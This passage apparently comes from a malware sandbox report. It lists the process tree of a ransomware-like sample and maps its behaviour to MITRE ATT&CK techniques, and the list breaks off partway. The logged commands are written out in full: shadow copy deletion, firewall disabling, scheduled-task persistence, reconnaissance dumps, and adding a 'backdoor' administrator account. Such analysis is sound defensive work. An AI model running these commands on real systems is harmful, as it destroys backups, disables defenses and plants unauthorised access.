  - Launches sc.exe
  PID:2500
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5472
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2668
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:4452
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacvt.com_nano.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3432
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacvt.com_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4440
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2200
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:1768
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5252
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:5408
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3772
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5736
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4244
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2908
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5996
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:5732
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:900
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:5604
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacvt.com_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5632
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1852
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1440
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:5320
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:5580
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:1580
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:1048
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:3324
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:1772
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:4468
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:2008
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5596
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:3884

C:\Users\Admin\AppData\Local\Temp\xoilacvt.com_nano.exe
C:\Users\Admin\AppData\Local\Temp\xoilacvt.com_nano.exe
1⤵
PID:4076

C:\Users\Admin\AppData\Local\Temp\xoilacvt.com_nano.exe
C:\Users\Admin\AppData\Local\Temp\xoilacvt.com_nano.exe
1⤵
PID:5960

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:5448

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Debugger Evasion

T1622

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Debugger Evasion

T1622

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery